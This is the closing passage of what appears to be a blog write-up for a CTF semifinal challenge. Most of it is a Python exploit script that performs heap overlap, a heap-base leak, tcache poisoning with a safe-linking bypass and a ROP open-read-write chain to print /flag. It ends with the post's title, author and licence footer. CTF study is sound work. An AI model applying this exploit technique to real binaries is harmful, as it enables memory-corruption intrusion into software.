sla(b'Index:\n', str(idx))


def show_list():
sla(IAT, b'4')


add(0, 0x98, b'a')
dele(0)
for i in range(8):
if i == 3:
add(i, 0xF8, b'a')
else:
add(i, 0x1E8, b'a')

edit(4, b'\x00' * 0xE8 + p64(0x21) + b'\x00' * 0x10 + p64(0x20) + p64(0x21))
edit(2, b'\x00' * 0x1E8 + b'\xf1')
for i in range(8):
if i != 3:
dele(i)
dele(3)

add(7, 0xF8, b'a')
dele(7)
add(6, 0x48, b'a')
add(7, 0x48, b'a')
add(0, 0x1E8, b'a')
add(1, 0x1E8, b'a')
add(2, 0x1E8, b'a')
add(3, 0x1E8, b'a')
edit(2, b'\x00' * 0x1E8 + b'\xb1')
dele(3)
show(7)
ru(b' => ')
heap_base = (u64_ex(ru(b'\n', drop=1)) - 2) << 12
log_heap_base_addr(heap_base)
add(3, 0x48, b'a')
dele(6)
dele(3)
edit(7, p64(protect_ptr(heap_base + 0x2030, stack - 0x30)))
add(3, 0x48, b'a')
add(4, 0x48, b'a')
CG.set_find_area(0, 1)
rdi = CG.pop_rdi_ret()
rsi = CG.pop_rsi_ret()
rdx_rbx = CG.pop_rdx_rbx_ret()
rcx = CG.pop_rcx_ret()
ret = CG.ret()
edit(4, flat([0, rdi, 0, rsi, stack - 0x28 + 0x40, rdx_rbx, 0x200, 0, libc.sym.read]))
launch_gdb(cmd)
leak_ex2(stack)
sla(IAT, b'6')
orw = p64(rdi) + b'/flag\x00\x00\x00' + flat([rdi, stack + 0x20, rsi, 0, libc.sym.open, rdi, 3, rsi, stack + 0x500, rdx_rbx, 0x100, 0, libc.sym.read, rdi, 1, libc.sym.write])
pause()
sl(orw)


ia()
  • 标题: ccsssc-2026-半决赛
  • 作者: InkeyP
  • 创建于 : 2026-04-22 21:07:55
  • 更新于 : 2026-04-22 21:50:23
  • 链接: https://blog.inkey.top/202604/22/ccsssc-2026-半决赛/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论